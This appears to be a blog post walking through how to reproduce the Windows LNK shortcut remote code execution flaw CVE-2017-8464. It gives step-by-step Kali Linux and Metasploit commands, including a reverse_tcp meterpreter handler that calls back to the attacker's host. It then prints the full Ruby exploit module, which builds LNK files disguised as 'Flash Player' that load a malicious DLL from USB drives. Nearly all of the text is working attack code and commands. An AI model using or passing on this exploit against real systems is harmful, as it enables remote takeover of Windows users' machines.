LNK File (Shortcut) Remote Code Execution Vulnerability Reproduction Process (CVE-2017-8464)

Keywords: Windows Session github

Vulnerability number: CVE-2017-8464
Vulnerability Level: Serious
Vulnerability profile: If a user opens a malicious LNK file carefully constructed by an attacker, it will cause remote code execution. An attacker who successfully exploits this vulnerability can gain the same user privileges as a local user.
Attackers can spread malicious LNK files and related malicious binary files to users by means of removable drives (U disks) or remote sharing. When a user opens a malicious LNK file through Windows Explorer or any program that can parse the LNK file, the malicious binary code associated with it will be executed on the target system.
Affected version
Desktop systems: Windows 10, 7, 8.1, 8, Vista and Windows RT 8.1
Server System: Windows Server 2016, 2012, 2008

Use script to download address: https://www.exploit-db.com/exploits/42382/

Utilization process: using wget in kali to download rb script to msf specified directory

root@kali:~#cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/fileformat# wget https://www.exploit-db.com/download/42382 -O cve_2017_8464_lnk_rce.rb

In wget, the - O parameter renames the downloaded file

Then set up kali to listen on any local unoccupied port, where to listen on port 5555

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.217.131
lhost => 192.168.217.131
msf exploit(handler) > set lport 5555
lport => 5555
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.217.131:5555 
[*] Starting the payload handler...
msf exploit(handler) > 

Then use payload to generate link files and dll files

msf exploit(handler) > use exploit/windows/fileformat/cve-2017-8464-link-rce
msf exploit(cve-2017-8464-link-rce) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(cve-2017-8464-link-rce) > set lhost 192.168.217.131
lhost => 192.168.217.131
msf exploit(cve-2017-8464-link-rce) > set Lport 5555
Lport => 5555
msf exploit(cve-2017-8464-link-rce) > exploit 

At this point, many link files and a dll file are generated

After each link file, the corresponding link file and dll file will be placed in the root directory of the corresponding disk character, which will automatically trigger the vulnerability and get the session of msf, not only limited to the U disk.

payload script: cve_2017_8464_lnk_rce.rb

 

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE

  attr_accessor :exploit_dll_name

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'LNK Remote Code Execution Vulnerability',
      'Description'     => %q{
        This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
        that contain a dynamic icon, loaded from a malicious DLL.

        This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
        similar except in an additional SpecialFolderDataBlock is included. The folder ID set
        in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass
        the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
        DLL file.
      },
      'Author'          =>
        [
          'Uncredited',   # vulnerability discovery
          'Yorick Koster' # msf module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          ['CVE', '2017-8464'],
          ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'],
          ['URL', 'http://paper.seebug.org/357/'], # writeup
          ['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'] # writeup
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC'    => 'process',
        },
      'Arch'            => [ARCH_X86, ARCH_X64],
      'Payload'         =>
        {
          'Space'       => 2048,
        },
      'Platform'        => 'win',
      'Targets'         =>
        [
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ],
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ]
        ],
      'DefaultTarget'  => 0, # Default target is 64-bit
      'DisclosureDate'  => 'Jun 13 2017'))

    register_advanced_options(
      [
        OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true])
      ])
  end

  def exploit
    dll = generate_payload_dll
    dll_name = "#{rand_text_alpha(16)}.dll"
    dll_path = store_file(dll, dll_name)
    print_status("#{dll_path} created copy it to the root folder of the target USB drive")

    # HACK the vulnerability doesn't appear to work with UNC paths
    # Create LNK files to different drives instead
    'DEFGHIJKLMNOPQRSTUVWXYZ'.split("").each do |i|
      lnk = generate_link("#{i}:\\#{dll_name}")
      lnk_path = store_file(lnk, "#{rand_text_alpha(16)}_#{i}.lnk")
      print_status("#{lnk_path} create, copy to the USB drive if drive letter is #{i}")
    end
  end

  def generate_link(path)
    path << "\x00"
    display_name = "Flash Player\x00" # LNK Display Name
    comment = "\x00"

    # Control Panel Applet ItemID with our DLL
    cpl_applet = [
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, 
      0x00, 0x00
    ].pack('C*')
    cpl_applet << [path.length].pack('v')
    cpl_applet << [display_name.length].pack('v')
    cpl_applet << path.unpack('C*').pack('v*')
    cpl_applet << display_name.unpack('C*').pack('v*')
    cpl_applet << comment.unpack('C*').pack('v*')

    # LinkHeader
    ret = [
      0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C
      0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046
      0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)
      0x00, 0x00, 0x00, 0x00, # FileAttributes
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime
      0x00, 0x00, 0x00, 0x00, # FileSize
      0x00, 0x00, 0x00, 0x00, # IconIndex
      0x00, 0x00, 0x00, 0x00, # ShowCommand
      0x00, 0x00, # HotKey
      0x00, 0x00, # Reserved1
      0x00, 0x00, 0x00, 0x00, # Reserved2
      0x00, 0x00, 0x00, 0x00  # Reserved3
    ].pack('C*')

    # IDList
    idlist_data = ''
    idlist_data << [0x12 + 2].pack('v') # ItemIDSize
    idlist_data << [
      # This PC
      0x1f, 0x50, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
      0x30, 0x9d
    ].pack('C*')
    idlist_data << [0x12 + 2].pack('v') # ItemIDSize
    idlist_data << [
      # All Control Panel Items
      0x2e, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
      0x30, 0x9d
    ].pack('C*')
    idlist_data << [cpl_applet.length + 2].pack('v')
    idlist_data << cpl_applet
    idlist_data << [0x00].pack('v') # TerminalID

    # LinkTargetIDList
    ret << [idlist_data.length].pack('v') # IDListSize
    ret << idlist_data

    # ExtraData
    # SpecialFolderDataBlock
    ret << [
      0x10, 0x00, 0x00, 0x00, # BlockSize
      0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005
      0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)
      0x28, 0x00, 0x00, 0x00  # Offset in LinkTargetIDList
    ].pack('C*')
    # TerminalBlock
    ret << [0x00, 0x00, 0x00, 0x00].pack('V')
    ret
  end

  # Store the file in the MSF local directory (eg, /root/.msf4/local/)
  def store_file(data, filename)
    ltype = "exploit.fileformat.#{self.shortname}"

    if ! ::File.directory?(Msf::Config.local_directory)
      FileUtils.mkdir_p(Msf::Config.local_directory)
    end

    if filename and not filename.empty?
      if filename =~ /(.*)\.(.*)/
        ext = $2
        fname = $1
      else
        fname = filename
      end
    else
      fname = "local_#{Time.now.utc.to_i}"
    end

    fname = ::File.split(fname).last

    fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')
    fname << ".#{ext}"

    path = File.join("#{Msf::Config.local_directory}/", fname)
    full_path = ::File.expand_path(path)
    File.open(full_path, "wb") { |fd| fd.write(data) }

    full_path.dup
  end
end

Posted by bogdan on Sun, 09 Jun 2019 16:24:29 -0700